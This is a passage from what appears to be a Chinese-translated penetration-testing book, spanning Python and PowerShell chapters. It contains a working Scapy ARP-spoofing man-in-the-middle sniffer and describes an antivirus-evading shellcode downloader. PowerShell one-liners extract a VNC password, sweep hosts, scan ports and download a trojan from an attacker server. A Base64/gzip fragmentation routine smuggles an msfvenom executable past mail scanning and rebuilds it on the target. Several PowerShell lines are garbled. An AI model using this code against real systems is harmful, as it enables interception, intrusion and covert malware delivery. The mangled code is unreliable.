PyInstaller 输出 backdoor.exe。现在,我只需将这个文件作为社交工程活动的一部分发送出去,鼓励目标执行。别忘了设置你的 HTTP 服务器,这样目标机器就可以抓取有效载荷!在这个截图中,我们可以看到 backdoor.exe 正如预期那样抓取有效载荷:

图 8.12 – 获取代码从 SimpleHTTPServer 获取 shellcode

图 8.12 – 获取代码从 SimpleHTTPServer 获取 shellcode

最后,让我们看看使用这种技术进行规避。在导入过程中,载荷本身并没有触发任何警报。我们的可执行文件本身,终端会看到它,因此可能会被扫描,在编写本文时,它仅被 7% 的杀毒软件检测到。

现在是时候将我们的 Python 网络技术提升到下一个级别了。让我们回顾一下我们的一些 局域网LAN)恶作剧,并感受一下使用 Scapy 进行低级别操作的可能性。

Python 和 Scapy – 一对经典组合

Python 和 Scapy 之间的缘分在第二章中已介绍——嘿,我等不及了。提醒一下,Scapy 是一个数据包操作工具。我们经常看到一些特别方便的工具被描述为某项任务的瑞士军刀;如果真是这样,那么 Scapy 就是外科手术刀。它也特别是一个 Python 程序,所以我们可以将它的功能导入到我们的脚本中。你可以用 Python 编写自己的网络渗透测试工具,任何工具都行;你可以替代 Nmap、netcat、p0f、hping,甚至像 arpspoof 这样的工具。让我们来看看使用 Python 和 Scapy 创建一个地址解析协议ARP)欺骗攻击工具需要什么。

使用 Python 和 Scapy 重温 ARP 欺骗

让我们从底层开始构建一个第 2 层 ARP 欺骗攻击。如前所述,代码这里是一个框架;通过一些巧妙的 Python 编写,你有潜力将其转化为强大的工具。首先,我们导入库并进行一些声明,具体如下:

#!/usr/bin/python3 
from scapy.all import * 
import os 
import sys 
import threading 
import signal 
interface = "eth0" 
target = "192.168.108.173" 
gateway = "192.168.108.1" 
packets = 1000 
conf.iface = interface 
conf.verb = 0

看看这些import语句——Scapy 所有的力量。我们熟悉 osthreading,那么让我们来看看 syssignalsys 模块是我们在使用 Python 时始终可以访问的,它允许我们与解释器交互——在这个例子中,我们只是用它来退出 Python。signal 模块让你的脚本可以处理信号(在进程间通信IPC)上下文中)。信号是发送给进程或线程的消息,告知某个事件——比如异常或除零错误。这使得我们的脚本可以处理这些信号。

接下来,我们将界面、目标 IP 和网关 IP 定义为字符串。要嗅探的数据包数量声明为整数。conf 属于 Scapy;我们使用刚才声明的 interface 变量来设置界面,并将冗余级别设置为 0

现在,让我们深入了解一些函数,具体如下:

def restore(gateway, gwmac_addr, target, targetmac_addr):
   print("\nRestoring normal ARP mappings.")
   send(ARP(op = 2, psrc = gateway, pdst = target, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = gwmac_addr), count = 5)
   send(ARP(op = 2, psrc = target, pdst = gateway, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = targetmac_addr), count = 5)
   sys.exit(0)
def macgrab(ip_addr):
   responses, unanswered = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = ip_addr), timeout = 2, retry = 10)
   for s,r in responses:
     return r[Ether].src
     return None
def poison_target(gateway, gwmac_addr, target, targetmac_addr):
   poison_target = ARP()
   poison_target.op = 2
   poison_target.psrc = gateway
   poison_target.pdst = target
   poison_target.hwdst = targetmac_addr
   poison_gateway = ARP()
   poison_gateway.op = 2
   poison_gateway.psrc = target
   poison_gateway.pdst = gateway
   poison_gateway.hwdst = gwmac_addr
   print("\nMitM ARP attack started.")
   while True:
     try:
       send(poison_target)
       send(poison_gateway)
       time.sleep(2)
     except KeyboardInterrupt:
       restore(gateway, gwmac_addr, target, targetmac_addr)
   return

这里有很多信息,所以让我们更详细地检查这些函数,具体如下:

  • def restore() 不是我们攻击网络的方式——它是用来清理我们的“烂摊子”。记住,ARP 欺骗会修改网络上其他节点的第 2 层到第 3 层的映射。如果你这么做然后断开连接,那些表会保持不变,直到 ARP 消息指示其他内容。我们使用 Scapy 的 send(ARP()) 函数来恢复健康的表。

  • def macgrab() 会接受一个 IP 地址作为参数,然后使用 Scapy 的 srp() 函数创建 ARP 消息并记录响应。macgrab() 使用 [Ether] 读取媒体访问控制MAC)地址,并返回该值。

  • def poison_target()是我们实施欺骗的函数。我们为man-in-the-middleMITM)攻击的两个端点:poison_gatewaypoison_target准备了 Scapy 的send()函数参数。尽管这些多行代码占用了更多页面空间,但我们的脚本非常易读,我们可以看到构建的数据包的结构:poison_targetpoison_gateway都被设置为ARP(),且op = 2—换句话说,我们正在发送无请求的 ARP 回复。当目标的psrc 设置被设为gateway时,诱饵交换就显现出来,网关的psrc设置则设为targetpdst设置相反)。我们熟悉的while True循环就是发送数据包的地方。我们看到信号处理出现在except KeyboardInterrupt,它会调用restore(),以便清理工作。

这很激动人心,但我们甚至还没有开始;我们已经定义了这些函数,但还没有任何地方调用它们。接下来让我们进行一些繁重的工作,具体如下:

gwmac_addr = macgrab(gateway) 
targetmac_addr = macgrab(target) 
if gwmac_addr is None: 
   print("\nUnable to retrieve gateway MAC address. Are you connected?") 
   sys.exit(0) 
else: 
   print("\nGateway IP address: %s\nGateway MAC address: %s\n" % (gateway, gwmac_addr)) 
if targetmac_addr is None: 
   print("\nUnable to retrieve target MAC address. Are you connected?") 
   sys.exit(0) 
else: 
   print("\nTarget IP address: %s\nTarget MAC address: %s\n" % (target, targetmac_addr)) 
mitm_thread = threading.Thread(target = poison_target, args = (gateway, gwmac_addr, target, targetmac_addr)) 
mitm_thread.start() 
try: 
   print("\nMitM sniffing started. Total packets to be sniffed: %d" % packets) 
   bpf = "ip host %s" % target 
   cap_packets = sniff(count=packets, filter=bpf, iface=interface) 
   wrpcap('arpMITMresults.pcap', cap_packets) 
   restore(gateway, gwmac_addr, target, targetmac_addr) 
except KeyboardInterrupt: 
   restore(gateway, gwmac_addr, target, targetmac_addr) 
   sys.exit(0)

下面是发生的事情:

  • 我们首先通过调用macgrab()来获取网关和目标 IP 地址。回想一下,macgrab()返回的是 MAC 地址,然后分别存储为gwmac_addrtargetmac_addr

  • 可能的返回值是None,所以我们的if...else语句会处理这种情况:如果返回值不是None,则将值打印到屏幕上,否则会发出警告,并调用sys.exit()

  • threading.Thread()类将poison_target()定义为我们的目标函数,并将目标和网关信息作为参数传递。

  • mitm_thread.start() 启动了攻击,但它是作为一个线程运行的。程序继续执行try语句。

  • 这里是我们设置嗅探器的地方。这是一个有趣的用例,展示了如何在 Python 中使用 Scapy;请注意,我们将过滤器构造为一个名为bpf的字符串变量。调用sniff()时,返回的数据会以cap_packets的形式存储在内存中。wrpcap()会创建一个pcap格式的数据包捕获文件。注意,sniff()也传递了数据包数量作为参数,那么当这个数字用完时会发生什么?代码会继续调用restore()。如果在此之前收到Ctrl + C的输入,restore()仍然会被调用。

正如你所看到的,这个演示中写的print语句是基础的。我鼓励你让它看起来更漂亮一些。

别忘了进行路由

确保你的系统已经设置为转发数据包,使用命令sysctl net.ipv4.ip_forward=1

使用 Wireshark 或任何数据包嗅探器来验证成功。你是从底层写这段代码的,因此知道目标的第 2 层和第 3 层地址只是战斗的一部分——你还需要确保代码正确地处理了这些地址。对于 ARP 来说,交换源和目的地址是很容易的!

一旦我的会话完成,我可以快速验证我的数据包捕获是否按预期保存。更好的是,打开 Wireshark 查看你的嗅探器捕获了什么。这是它找到的内容:

图 8.13 – 我们准备好的 pcap 文件,待复查

图 8.13 – 我们准备好的 pcap 文件,待复查

这非常简单,数据包捕获自己就完成了!我把如何将这些片段融入你自己的定制工具集交给你去探索。

总结

在本章中,我们进行了一个针对渗透测试人员的 Python 速成课程。我们从一些 Python 基础知识和选择编辑器环境开始。基于过去的编程经验和本书中的内容,我们逐行编写了几个有助于渗透测试人员的工具——一个简单的客户端、一个简单的服务器,甚至一个几乎完全无法被传统杀毒软件检测到的有效载荷下载器。为了结束本章,我们探索了使用 Scapy 进行低级网络操作,将其作为我们的程序的源库导入。

现在我们已经打下了 Python 的坚实基础,接下来的章节将重点介绍 Windows 平台下强大自动化和脚本编写的工具:PowerShell。

问题

回答以下问题以测试你对本章的理解:

  1. 如何将 Python 模块导入到你的代码中使用?

  2. Socket的使用风险如何影响你脚本的可移植性?

  3. 如果没有#!/usr/bin/python3作为代码的第一行,无法运行 Python 脚本。(正确 | 错误)

  4. 有哪些两种方法可以停止while True循环?

  5. PyInstaller 可以在任何平台上运行以生成 Windows EXE 文件。(正确 | 错误)

  6. 在 Python 3 中,线程变成了 _________。

  7. 如果没有定义restore()函数,ARP 攻击将完全失败。(正确 | 错误)

进一步阅读

关于本章所涉及的主题的更多信息,请查看以下资源:

第九章:PowerShell 基础

Windows——这是你既爱又恨的操作系统。或者说是恨又爱?无论如何,它在安全专家中存在分歧。让一个完全不懂的人走进一个安全会议,只需要抱怨 Windows,他就能轻松融入其中。无论你立场如何,有一点我们可以肯定,那就是它的强大。从 2006 年 PowerShell 问世开始,评估 Windows 环境的方式发生了剧变。突然,一个单独的 Windows 主机就内置了一个复杂的任务自动化和管理框架。

渗透测试中的后渗透活动所得到的重要教训之一是,我们并不总是在入侵一台机器,窃取其中的数据,然后离开;如今,即使是一个低价值的 Windows 控制点,也会成为一个独立的攻击平台。展示这一点的最戏剧性方式之一是通过利用我们在控制点上的 PowerShell。

本章将涵盖以下主题:

  • 探索 PowerShell 命令和脚本语言

  • 理解 PowerShell 中的基本后渗透操作

  • 介绍 PowerShell Empire 框架

  • 探索 PowerShell Empire 中的监听器、预备阶段和代理概念

技术要求

本章的操作系统要求如下:

  • Kali Linux

  • Windows 7 或 10

给 shell 提供动力 – PowerShell 基础

PowerShell 是一个用于任务自动化和配置管理的命令行和脚本语言框架。我没有指定仅适用于 Windows,因为 PowerShell 已经是跨平台的,至今已有几年了;然而,它仍然是微软的产品。如今,它已经内置于 Windows 中,尽管对攻击者具有强大的潜力,但它并不会被完全封锁。对于今天的 Windows 渗透测试人员来说,它是他们武器库中一项全面且强大的工具,恰好也安装在所有受害者的电脑上。

什么是 PowerShell?

当你第一次接触 PowerShell 时,它可能让人感觉有些压倒性,但归根结底,它只是一个花哨的界面。PowerShell 通过提供者与外部功能进行交互,允许你访问那些在命令行中无法轻易利用的功能。从某种程度上来说,它们就像硬件驱动程序——代码,它们为软件和硬件之间的通信提供了途径。提供者使我们能够通过命令行与 Windows 的功能和组件进行通信。

当我将 PowerShell 描述为任务自动化和配置管理框架时,这更符合微软对 PowerShell 的定义。作为黑客,我们关注的是这些工具能做什么,而不一定是它们的创造者如何定义它们;从这个角度来看,PowerShell 就是经过增强的 Windows 命令行。它可以做任何你在标准 Windows 命令行中做的事情。例如,启动 PowerShell 并尝试使用传统的 ipconfig 命令,如下图所示:

图 9.1 – PowerShell 能做 CMD 能做的一切

图 9.1 – PowerShell 能做 CMD 能做的一切

这完全没有问题。现在我们知道 PowerShell 允许我们继续执行的操作,让我们看看它的独特之处。

首先,标准的 Windows CMD 完全是微软的创作。虽然命令行外壳的概念并非 Windows 独有,但它的实现方式是独特的,因为 Windows 一直以来都以自己的方式做事。另一方面,PowerShell 吸取了其他外壳和语言中的一些最佳思想,并将它们结合在一起。你是否曾在 Linux 中花了很多时间,然后不小心在 Windows 命令行中输入了ls而不是dir?那 PowerShell 会发生什么呢?让我们看看:

图 9.2 – 比较 dir 和 ls

图 9.2 – 比较 dir 和 ls

没错——ls命令在 PowerShell 中也能使用,同时也有老式的dir和 PowerShell 的Get-ChildItem。让我们更深入地了解 PowerShell 原生的做法:cmdlet。

PowerShell 的 cmdlet 和 PowerShell 脚本语言

当我们谈论lsdir时,我已经引起了你的注意,但你可能会对Get-ChildItem感到疑惑。它听起来像是我会在购物清单上写的一项提醒自己给孩子们买恐龙玩具的事项(他们现在真的很喜欢恐龙)。它是 PowerShell 的一种特殊命令方式,叫做命令小工具cmdlets)。cmdlet 实际上只是一个命令,至少从概念上来说;在背后,它们是实现特定功能的.NET 类。它们是 PowerShell 中原生的命令实体,使用一种独特的自解释语法风格:动词-名词。在我们继续之前,让我们先熟悉一下最重要的 cmdlet——Get-Help

图 9.3 – Get-Help cmdlet 始终伴随左右

图 9.3 – Get-Help cmdlet 始终伴随左右

只需输入Get-Help [*cmdlet 名称*],你就能找到关于该 cmdlet 的详细信息,包括示例用法。最棒的是?它支持通配符。尝试使用Get-Help Get*并注意以下几点:

图 9.4 – 使用通配符与 cmdlet

图 9.4 – 使用通配符与 cmdlet

Get-Help功能非常强大,我们现在只是触及了皮毛。现在我们知道如何在过程中获取帮助,让我们尝试一些关于 Windows 注册表的基本操作。

使用 Windows 注册表

让我们使用Get cmdlet 从注册表中获取一些数据,然后将其转换为不同的格式供我们使用。巧合的是,我攻击的这台机器正在运行 TightVNC 服务器,它在注册表中存储了控制密码的加密副本。这种加密方式众所周知可以轻松破解,因此我们将仅使用 PowerShell 以十六进制格式获取密码,如下所示:

$FormatEnumerationLimit = -1

Get-ItemProperty -Path registry::hklm\software\TightVNC\Server -Name ControlPassword

$password = 139, 16, 57, 246, 188, 35, 53, 209

ForEach (hexinhex in password) {

[Convert]::ToString($hex, 16) }

让我们看看我们在这里做了什么。首先,我将$FormatEnumerationLimit全局变量设置为-1。作为实验,尝试在没有设置此变量的情况下提取密码——会发生什么?密码在 3 个字节后被截断。你可以设置$FormatEnumerationLimit来定义显示多少字节,默认情况下是节省空间。将其设置为-1实际上是说无限制

接下来,我们必须执行Get-ItemProperty cmdlet 从注册表中提取值。请注意,我们可以使用hklm作为HKEY_LOCAL_MACHINE的别名。如果没有-Name参数,它将显示Server键中的所有值。PowerShell 将显示我们请求的项的属性:

图 9.5 – 将十进制数组转换为十六进制

图 9.5 – 将十进制数组转换为十六进制

到目前为止,我们的工作从技术上讲已经完成——我们需要的是ControlPassword值,现在我们已经得到了它。只是有一个问题:这些字节是以十进制(decimal)表示的。这对人类友好,但对二进制不友好,所以让我们用 PowerShell 将密码转换一下。(嘿,我们已经在这里了。)首先,设置一个$password变量,并用逗号分隔原始的十进制值。这告诉 PowerShell 你正在声明一个数组。为了好玩,尝试将数字放入引号中——会发生什么?此时,变量将变成一个包含你的数字和逗号的字符串,而ForEach只会看到一个项。说到ForEach,这个 cmdlet 就是我们的最后一步——它定义了一个for-each循环(我早就告诉你这些 cmdlet 的名称很容易理解),用于对数组中的每一项进行操作。在这个例子中,操作就是将每个值转换为十六进制。

这只是一个小例子。PowerShell 可以用来操作 Windows 操作系统中的任何东西,包括文件和服务。记住,PowerShell 能做任何 GUI 能够做的事。

PowerShell 中的管道和循环

如我之前所提到的,PowerShell 继承了最强大的 shell 的基因。你可以直接使用你已经熟悉的技巧。将命令输出管道到for循环?那对孩子们来说是小菜一碟。

以我们之前的例子为例:我们得到了一个十进制值的数组,我们需要将每个值转换为十六进制。即使是初学者程序员也应该能明显看出这是一个理想的 for 循环场景(例如 PowerShell 中的 ForEach)。PowerShell 中管道的妙处在于,你可以将一个 cmdlet 输出的对象管道到另一个 cmdlet,包括 ForEach。换句话说,你可以执行一个输出列表的 cmdlet,然后将该列表管道到 for 循环中。通过 ForEach cmdlet 的单字符别名 %,生活变得更简单了。来看个例子,这两行代码做的是相同的事情:

ls *.txt | ForEach-Object {cat $_}

ls *.txt | % {cat $_}

如果在包含多个文本文件的路径中执行,ls *.txt 命令将产生一个结果列表,这些结果将作为 ForEach-Object 的输入,每个项目都表示为 $_

从技术上讲,for 循环和 for-each 循环之间是有区别的,后者是一种特殊的 for 循环。标准的 for 循环基本上会执行定义次数的代码,而 for each 循环则会对数组或列表中的每个项目执行代码。

我们可以用两个句点 (..) 定义一个数字范围。例如,5..9 告诉 PowerShell,5, 6, 7, 8, 9。通过这个简单的语法,我们可以将数字范围管道到 for 循环中,这对于做一个固定次数的任务非常方便,甚至可以将这些数字用作命令的参数。(我觉得我听到你内心的黑客在说——我们可以做一个 PowerShell 端口扫描器,是不是? 来吧,别剧透了。继续往下读。)因此,通过将数字范围管道到 ForEach,我们可以将每个数字作为 $_ 来处理。如果我们运行这个命令,你觉得会发生什么?让我们看看:

1..20 | % {echo "你好,世界!这是第 $_ 个!"}

自然地,我们可以构建管道 —— 一系列的 cmdlet 将输出传递到下游。例如,看看下面这个命令:

Get-Service Dhcp | Stop-Service -PassThru -Force | Set-Service -StartupType Disabled

请注意,通过在管道中的第一个 cmdlet 中定义 Dhcp 服务,Stop-ServiceSet-Service 已经知道我们正在处理的内容。

我听到你从后面喊:“那对于更严肃的开发来说,有没有交互式脚本环境?” 不用担心,我来告诉你。

更棒的是 —— PowerShell 的 ISE

PowerShell 最酷的功能之一是内置的 交互式脚本环境(ISE),它包含了一个交互式外壳,你可以像在正常的 shell 会话中一样运行命令,同时还有一个具有语法意识和调试功能的编码窗口。

你可以像在任何其他编程环境中一样,编写、测试并发送脚本:

图 9.6 – Windows PowerShell ISE

图 9.6 – Windows PowerShell ISE

你编写的任何 PowerShell 脚本文件的扩展名都是 ps1。不幸的是,并不是所有的 PowerShell 安装都相同,不同版本的 PowerShell 之间存在一些差异;当你希望在某个主机上运行你编写的 ps1 文件时,请记住这一点。

这是对 PowerShell 基础知识的愉快介绍,但现在,我们需要开始理解 PowerShell 如何成为你黑客工具包中最喜爱的工具之一。

PowerShell 后期利用

PowerShell 是一个完整的 Windows 管理框架,并且它是内置在操作系统中的,无法完全被阻止。当我们谈论 Windows 环境中的后期利用时,考虑到 PowerShell 是必不可少的—它不是一个锦上添花的工具,而是一个必须具备的工具。我们将在本书的最后两章中更详细地探讨后期阶段,但现在,让我们先介绍一下 PowerShell 在将我们的攻击推进到下一个阶段,并一步步接近完全控制中的作用。

从 Pivot 点进行 ICMP 枚举与 PowerShell

所以,你已经在 Windows 7 或 10 的系统上获取了一个立足点。抛开上传工具的可能性,我们能否利用一个普通的 Windows 7 或 10 系统,寻找潜在的下一个突破点?通过 PowerShell,几乎没有什么我们做不到的事情。

正如我们之前提到的,我们可以将一系列数字传递给 ForEach。比如,如果我们在一个子网掩码为 255.255.255.0 的网络中,我们的范围可以是从 1 到 255,然后将这些数字传递给 ping 命令。让我们来看一下实际操作:

1..255 | % {echo "192.168.63.";pingn1w100192.168.63._"; ping -n 1 -w 100 192.168.63._ | Select-String ttl}

如你所见,这将查找带有 ttl 字符串的结果,从而响应 ping 请求:

图 9.7 – 快速 ping 扫描器

图 9.7 – 快速 ping 扫描器

让我们沿着管道继续往下走。首先,我们定义一个数字范围:一个从 1 到 255 的闭区间数组。这个数组作为输入传递给 ForEach 别名 %,然后我们运行一个 echo 命令和一个 ping 命令,使用循环中的当前值作为 IP 地址的最后一个十进制八位数。正如你已经知道的,ping 返回状态信息;这个输出被进一步传递给 Select-String,用于提取 ttl 字符串,因为这是知道我们是否有命中响应的一种方式(只有主机响应了 ping 请求,我们才能看到 TTL 值)。瞧—这是一个 PowerShell ping 扫描器。虽然它很慢且粗糙,但我们只能使用手头的工具。

你可能会想,如果我们可以启动 PowerShell,为什么我们就不能拥有 Meterpreter 会话或者上传工具集?也许可以,但也可能不行—或许我们是通过破解一个弱密码获得 VNC 访问权限的,但这并不等于系统被完全控制或者出现在域中。另一个可能性是内部威胁—可能某人忘记锁定工作站,我们偷偷走过去坐下,能做的其中一件事就是执行一个 PowerShell 一行代码。渗透测试员必须始终保持灵活性,并保持开放的思维。

你可以想象,在完成 ping 扫描后,下一步就是寻找开放端口,直接在 PowerShell 会话中进行。

PowerShell 作为 TCP 连接端口扫描器

现在我们已经有了目标主机,我们可以使用以下一行命令进一步了解它,这个命令旨在尝试连接所有指定的端口:

1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.63.147", ))"开放端口_)) "开放端口 - _"} 2>$null

让我们看看在快速扫描少数几个主机后会是什么样子:

图 9.8 – PowerShell 端口扫描

图 9.8 – PowerShell 端口扫描

如你所见,这只是将我们所学的基础知识提升到下一个层次。1..1024 定义了我们的端口范围,并将数组传递到 %;每次迭代时,都会启动一个 TCP 客户端模块,尝试连接该端口。2>$null 会将 STDERR 丢弃;换句话说,返回的错误意味着端口没有开放,响应会被丢弃。

我们从 TCP 和使用 Nmap 等工具的经验中知道,端口扫描策略有很多种;例如,半开扫描,其中 SYN 数据包被发送以引发开放端口的 SYN-ACK 响应,但没有通过 ACK** 值** 完成握手。那么,在我们的快速且简易的端口扫描脚本背后到底发生了什么呢?它是一个 Connect 模块,用于 TcpClient – 该模块旨在创建 TCP 连接。它并不知道自己被用来做端口扫描。它正在尝试建立完整的三次握手,并且如果握手完成,它会成功返回。我们必须理解网络上发生了什么。

既然我们在与网络通信,那就让我们看看在需要将恶意程序传送到目标时,能做些什么。

通过 PowerShell 向目标传送 Trojan

你有 PowerShell 访问权限。你有一个 Trojan 文件放在 Kali 主机上,需要将其传送给目标。在这里,你可以将文件托管在 Kali 主机上,并使用 PowerShell 来避免恼人的浏览器警告和内存占用。

首先,我们使用 python -m SimpleHTTPServer 80 来托管文件,该命令在包含 Trojan 的文件夹中执行。当准备好后,我们可以执行一个 PowerShell 命令,利用 WebClient 下载文件并将其写入本地路径:

(New-Object System.Net.WebClient).DownloadFile("http://192.168.63.143/attack1.exe", "c:\windows\temp\attack1.exe")

让我们看看在执行命令并运行 ls 验证时会是什么样子:

图 9.9 – 从 HTTP 服务器下载 EXE 文件

图 9.9 – 从 HTTP 服务器下载 EXE 文件

需要注意的是目标路径不是任意的;它必须存在。这个一行命令不会为你创建一个目录,所以如果你试图将其放在任何地方而没有确认主机上是否存在,可能会引发异常。假设这不是问题,并且命令已经执行完毕,我们可以cd进入选择的目录,看到我们的可执行文件已经准备就绪。

不过我知道你在想什么 - 像这样从网络中提取 EXE 文件并不是特别隐秘。你说得对。任何值得一试的终端保护产品都会立即抓住这种尝试。我们需要考虑如何通过将文件转换为比普通可执行代码更不可疑的东西来偷运文件。如果我们将恶意二进制文件转换为 Base64 呢?然后,我们可以将其写入一个纯文本文件,PowerShell 可以像处理普通字符串一样处理它。让我们仔细看看。

在 PowerShell 中对二进制进行编码和解码

首先,我们将切换回我们的 Kali 系统,并使用msfvenom创建一个快速可执行的漏洞。然后,我们将通过使用SimpleHTTPServer将其发送到我们的 Windows 系统:

图 9.10 – 构建和提供恶意可执行文件

图 9.10 – 构建和提供恶意可执行文件

对于这个示例,我将这个文件称为sneaky.exe。现在,让我们施展魔法,从 EXE 文件中读取原始字节,压缩结果,然后将其转换为 Base64。让我们开始吧:

$rawData = [System.IO.File]::ReadAllBytes("C:\Users\bramw\Downloads\sneaky.exe")

$memStream = New-Object IO.MemoryStream

compressStream=NewObjectSystem.IO.Compression.GZipStream(compressStream = New-Object System.IO.Compression.GZipStream (memStream, [IO.Compression.CompressionMode]::Compress)

compressStream.Write(compressStream.Write(rawData, 0, $rawData.Length)

$compressStream.Close()

compressedRaw=compressedRaw = memStream.ToArray()

b64Compress=[Convert]::ToBase64String(b64Compress = [Convert]::ToBase64String(compressedRaw)

$b64Compress | Out-File b64Compress.txt

让我们逐步分析刚刚发生的事情。请注意,我们正在使用 PowerShell 与.NET 进行交互 - 在一瞬间获得巨大的力量:

  1. System.IO命名空间下,File类包含ReadAllBytes方法。这只是打开一个二进制文件并将结果读入一个字节数组,我们称之为$rawData

  2. 接下来,我们创建一个名为$memStreamMemoryStream对象,在这里我们将使用GZipStream类打包原始字节。换句话说,我们将使用 gzip 文件格式规范压缩$rawData的内容。

  3. 然后,我们创建另一个原始字节数组$compressedRaw,但这次数据是我们原始字节数组使用 gzip 压缩后的结果。

  4. 最后,我们将压缩的字节数组转换为 Base64 字符串。此时,我们可以像对待其他字符串一样处理$b64Compress;在我们的示例中,我们将其写入了一个文本文件。

现在,你可以像打开任何其他纯文本文件一样打开这个文本文件。为什么不用蜡笔在餐巾纸上写下它,然后给你的朋友呢?

图 9.11 – 我们二进制文件的纯文本 Base64 表示

图 9.11 – 我们二进制文件的纯文本 Base64 表示

可能性受你的想象力限制,但在我们的例子中,我提供了纯文本供我的 PowerShell 脚本在目标环境中获取。让我们不要低估防御者:尽管这是普通文本,但显然是 Base64 且未加密,因此快速扫描就会揭示其目的。当我试图将其通过电子邮件发送给自己时,Gmail 已经发现了我们,如下面的截图所示:

图 9.12 – Google 发现了!

图 9.12 – Google 发现了!

不用担心,因为这个聪明的扫描考虑了所有的二进制数据。剪掉几个字母,它就会变得混乱。再次强调,可能性仅受你的想象力限制,但想法是你创建一个由 Base64 代码片段组成的拼图,然后在接收端简单地连接起来。在我们的例子中,让我们从文本文件中剪掉前五个字符,然后将剩余字符发送到网络上。让我们来看一下:

Invoke-WebRequest -Uri "http://192.168.108.211:8000/sneaky.txt" -OutFile "fragment.txt"

$fragment = Get-Content -Path "fragment.txt"

final="H4sIA"+final = "H4sIA" + fragment

compressedFromb64=[Convert]::FromBase64String(compressedFromb64 = [Convert]::FromBase64String(final)

memoryStream=NewObjectio.MemoryStream(,memoryStream = New-Object io.MemoryStream( , compressedFromb64)

compressStream=NewObjectSystem.io.Compression.GZipStream(compressStream = New-Object System.io.Compression.GZipStream(memoryStream, [io.Compression.CompressionMode]::Decompress)

$finalStream = New-Object io.MemoryStream

compressStream.CopyTo(compressStream.CopyTo(finalStream)

$DesktopPath = [Environment]::GetFolderPath("Desktop")

TargetPath=TargetPath = DesktopPath + "\NotNaughty.exe"

[IO.File]::WriteAllBytes(TargetPath,TargetPath, finalStream.ToArray())

我们可以用更少的行数完成所有这些操作,但我将它们列出来,以便我们可以看到攻击的每个阶段。一旦我们的脚本提取了片段,我们只需连接缺失的部分并将其保存为$final。因此,$final现在包含以 EXE 格式的 Base64 编码、gzip 压缩的二进制代码。我们可以使用之前讨论过的相同方法反向操作,然后使用WriteAllBytes方法在我们这一端重新创建 EXE。将这个技巧与本书中之前讨论的恶意软件规避技术相结合,你就拥有了一个强大的渠道,可以将你的工具偷偷带入目标环境。

正如 Metasploit 中的一切都可以手动完成一样,幸运的是,我们在工具包中有一个框架,可以简化开发强大的 PowerShell 攻击的手动任务。让我们来看看 Empire 框架。

Offensive PowerShell – 介绍 Empire 框架

我们能够坐在 Windows 机器前,通过 PowerShell 与操作系统如此紧密地互动,毫无疑问是 Windows 管理员的梦想成真。作为攻击者,我们看到的是精确制导导弹的各个部件,我们只需要时间去构建它。在渗透测试中,我们通常没有时间即时编写完美的 PowerShell 脚本,因此大多数渗透测试员都有一个装满自制脚本的“糖果袋”,用于执行某些任务。我使用的一个脚本,客户端一个接一个地运行,做的仅仅是扫描开放端口,并将 IP 地址转储到按开放端口命名的文件夹中的文本文件里。像这样的事情看起来平淡无奇,甚至有些无意义——直到你身处现场,意识到你已经节省了数十个小时。

高级安全专家会以这种方式看待像 Metasploit 这样的工具——它是一个框架,用于有组织、高效和整洁地传递工具,当内置的工具集无法满足需求时。在 PowerShell 的世界中,有一个框架自动化了引导和管理与目标的通信通道,以进行复杂的 PowerShell 攻击。欢迎来到 Empire。

安装并引入 PowerShell Empire

让我们通过动手实践来介绍 PowerShell Empire。安装非常简单,但首先我们需要更新 apt

图 9.13 – 在 Kali 上安装 PowerShell Empire

图 9.13 – 在 Kali 上安装 PowerShell Empire

安装完成后,你可以通过以下命令启动团队服务器:

powershell-empire 服务器

没错——使用 PowerShell Empire 轻松进行红队攻击。注意 RESTful API 也托管在 1337 端口上——可以用你最喜欢的编程语言进行大量自动化,使你能够在有限的时间内从一台 PC 上完成多名攻击者的工作。

现在,让我们在一个新窗口中启动 Empire 客户端:

powershell-empire 客户端

你注意到这个客户端界面有什么特别之处吗?

图 9.14 – Empire 客户端窗口

图 9.14 – Empire 客户端窗口

没错——它具有 Metasploit 的外观和感觉。看看提示符上方的状态:它告诉我们 Empire 的运作依赖于三个主要组件。这些组件是 模块监听器代理。虽然这里没有显示,但同样重要的第四个组件是 引导程序。这些概念在我们深入探讨时会变得更清晰,但让我们先更详细地了解它们:

  • 模块 本质上与 Metasploit 中的模块概念相同——它是一段执行特定任务的代码,充当我们攻击的有效载荷。

  • 监听器 是不言而喻的:它将在本地 Kali 机器上运行,并等待来自被攻陷目标的回连。

  • 代理 用于驻留在目标上,帮助保持攻击者与目标之间的连接。它们接受模块命令并在目标上执行。

  • 加载器与 Metasploit 中一样:它是为我们的模块在被攻陷的主机上运行做准备的代码片段。把它看作是攻击者与目标之间的通信中介。

让我们从首次使用者最重要的命令开始——help

图 9.15 – Empire 的帮助菜单

图 9.15 – Empire 的帮助菜单

你注意到 PowerShell 和 PowerShell Empire 让随时学习变得轻松吗?你可以随时输入help查看支持的命令并了解更多信息。你注意到加载了 396 个模块吗?你也可以快速浏览它们——输入usemodule,后面加个空格,然后使用箭头键浏览列表:

图 9.16 – Empire 中的自动补全

图 9.16 – Empire 中的自动补全

注意与 Metasploit 在模块树布局和功能上的重叠。那么,Empire 有什么不同呢?嗯,你知道我怎么想的,不是吗?我们完全可以自己查看这些 PowerShell 脚本,而不是我只告诉你。

在新窗口中,使用cd Empire/data/module_source/credentials切换到凭证模块的源目录,然后使用ls列出目录内容:

图 9.17 – 看一看原始脚本

图 9.17 – 看一看原始脚本

看这个:.ps1 文件。我们来打开一个看看。执行 vim dumpCredStore.ps1

图 9.18 – 看一看凭证窃取脚本

图 9.18 – 看一看凭证窃取脚本

这些都是相当复杂和强大的 PowerShell 脚本。现在,我知道你心中的黑客在想什么——“就像我们用 Ruby 为 Metasploit 写模块一样,我也可以写一些 PowerShell 脚本并将其融入到我的 Empire 攻击中。”做得好。我把这个任务留给你,因为我们需要回到学习如何通过监听器、加载器和代理来设置 Empire 攻击的正题上。

配置监听器

理论上,你可以从一开始就着手开发一个代理。但没有监听器,你是无法前进的。没有回家的路,你是无法深入丛林的。从 Empire 主提示符开始,输入listeners并按Enter

图 9.19 – 监听器界面

图 9.19 – 监听器界面

请注意,这会改变提示符;CLI 使用类似 iOS 的风格来进入配置模式。你现在处于监听器模式,因此再次输入help将显示监听器帮助菜单。

